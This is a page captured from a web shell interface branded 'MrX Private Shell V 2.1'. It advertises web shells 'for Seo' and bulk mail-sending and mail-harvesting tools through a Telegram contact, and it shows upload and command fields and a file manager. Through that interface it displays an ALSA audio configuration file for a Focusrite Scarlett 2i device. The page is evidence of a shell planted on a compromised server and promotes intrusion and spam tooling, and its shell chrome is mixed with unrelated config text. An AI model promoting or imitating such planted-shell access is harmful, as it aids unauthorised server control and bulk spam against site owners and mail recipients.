__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
Include.pcm_split.File "/common/pcm/split.conf"

Macro [
	{
		SplitPCM {
			Name "scarlett2i_mono_in"
			Direction Capture
			Format S32_LE
			Channels 1
			HWChannels 2
			HWChannelPos0 MONO
			HWChannelPos1 MONO
		}
	}
]

If.2i4 {
	Condition {
		Type String
		String1 "${var:PlaybackChannels}"
		String2 "4"
	}
	True.Macro [
		{
			SplitPCM {
				Name "scarlett2i_stereo_out"
				Direction Playback
				Format S32_LE
				Channels 2
				HWChannels 4
				HWChannelPos0 FL
				HWChannelPos1 FR
				HWChannelPos2 FL
				HWChannelPos3 FR
			}
		}
	]
}

SectionDevice."Line1" {
	Comment "${var:Playback1Name}"

	Value {
		PlaybackPriority 200
	}
	If.2i4 {
		Condition {
			Type String
			String1 "${var:PlaybackChannels}"
			String2 "4"
		}
		True.Macro.pcm_split.SplitPCMDevice {
			Name "scarlett2i_stereo_out"
			Direction Playback
			HWChannels 4
			Channels 2
			Channel0 0
			Channel1 1
			ChannelPos0 FL
			ChannelPos1 FR
		}
		False.Value {
			PlaybackPCM "hw:${CardId}"
		}
	}
}

If.2i4 {
	Condition {
		Type String
		String1 "${var:PlaybackChannels}"
		String2 "4"
	}
	True.SectionDevice."Line2" {
		Comment "${var:Playback2Name}"

		Value {
			PlaybackPriority 100
		}
		Macro.pcm_split.SplitPCMDevice {
			Name "scarlett2i_stereo_out"
			Direction Playback
			HWChannels 4
			Channels 2
			Channel0 2
			Channel1 3
			ChannelPos0 FL
			ChannelPos1 FR
		}
	}
}

SectionDevice."Mic1" {
	Comment "${var:Capture1Name}"

	Value {
		CapturePriority 200
	}
	Macro.pcm_split.SplitPCMDevice {
		Name "scarlett2i_mono_in"
		Direction Capture
		HWChannels 2
		Channels 1
		Channel0 0
		ChannelPos0 MONO
	}
}

SectionDevice."Mic2" {
	Comment "${var:Capture2Name}"

	Value {
		CapturePriority 100
	}
	Macro.pcm_split.SplitPCMDevice {
		Name "scarlett2i_mono_in"
		Direction Capture
		HWChannels 2
		Channels 1
		Channel0 1
		ChannelPos0 MONO
	}
}

Filemanager

Name Type Size Permission Actions
Scarlett-2i-HiFi.conf File 1.8 KB 0644
Scarlett-2i.conf File 1.11 KB 0644
Filemanager